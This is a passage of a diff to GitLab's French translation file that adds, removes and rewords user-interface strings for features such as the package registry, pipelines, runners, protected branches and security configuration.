+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr "Pause"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Total :"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "avec l’étape"
msgid "Pipeline|with stages"
msgstr "avec les étapes"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr "Veuillez choisir une URL de groupe sans caractères spéciaux."
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr "Modifier le profil"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr "Badges numériques du projet"
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Avatar du projet"
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr "Détails du projet"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Jamais"
-msgid "ProjectLifecycle|Stage"
-msgstr "Étape"
-
msgid "ProjectOverview|Fork"
msgstr "Créer une divergence"
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr "%{exporters} avec %{metrics} ont été trouvés"
msgid "PrometheusService|Active"
msgstr "Actif"
-msgid "PrometheusService|Auto configuration"
-msgstr "Configuration automatique"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "Métriques communes"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "Les métriques courantes sont automatiquement supervisées grâce à une bibliothèque de métriques provenant d’exportateurs populaires."
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "Métriques personnalisées"
@@ -26420,18 +26111,9 @@ msgstr "Recherche et configuration des métriques en cours…"
msgid "PrometheusService|Finding custom metrics..."
msgstr "Recherche des métriques personnalisées en cours…"
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "Installer Prometheus sur les grappes de serveurs"
-
msgid "PrometheusService|Manage clusters"
msgstr "Gérer les grappes de serveurs"
@@ -26447,9 +26129,6 @@ msgstr "Variable d’environnement manquante"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Plus d’informations"
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "Ces métriques ne seront supervisées qu’après votre premier déploiement dans un environnement"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr "En attente de votre premier déploiement dans un environnement pour trou
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr "Promouvoir"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} sera accessible en écriture aux développeurs. Êtesâ€vous sûr de vouloir cela ?"
@@ -26744,18 +26441,30 @@ msgstr "Votre environnement a été protégé."
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "Votre environnement a été déprotégé"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "Fournisseur"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr "Tickets liés"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr "Supprimer la priorité"
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,31 +27264,25 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
-msgstr "Réparer l’authentification"
-
msgid "Replace"
msgstr ""
-msgid "Replace all label(s)"
-msgstr ""
-
-msgid "Replaced all labels with %{label_references} %{label_text}."
+msgid "Replace %{name}"
msgstr ""
-msgid "Replaces the clone URL root."
+msgid "Replace all label(s)"
msgstr ""
-msgid "Replication"
+msgid "Replace file"
msgstr ""
-msgid "Replication details"
+msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
-msgid "Replication enabled"
+msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication paused"
+msgid "Replication"
msgstr ""
msgid "Reply by email"
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr "Reprendre"
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr "Réessayer"
@@ -28152,9 +27852,6 @@ msgstr "Relancer cette tâche"
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr "Relancer la vérification"
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "Feuille de route"
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr "Page des exécuteurs."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "Clef SSH publique"
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Sauvegarder la planification du pipeline"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr "Rechercher"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr "Rechercher ou filtrer les résultats…"
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr "Rechercher ou aller à…"
-
msgid "Search project"
msgstr "Rechercher des projets"
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Sélectionner un modèle de dépôt"
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Sélectionner une branche cible"
-msgid "Select the custom project template source group."
-msgstr "Sélectionnez le groupe source de modèles de projet personnalisés."
-
msgid "Select timezone"
msgstr ""
@@ -29573,8 +29375,8 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
-msgstr "Envoyer des données d’utilisation"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr ""
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr "Modèles de service"
msgid "Service URL"
msgstr "URL du service"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "Définissez les exigences pour la connexion d’un utilisateur. Activez l’authentification obligatoire à deux facteurs."
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
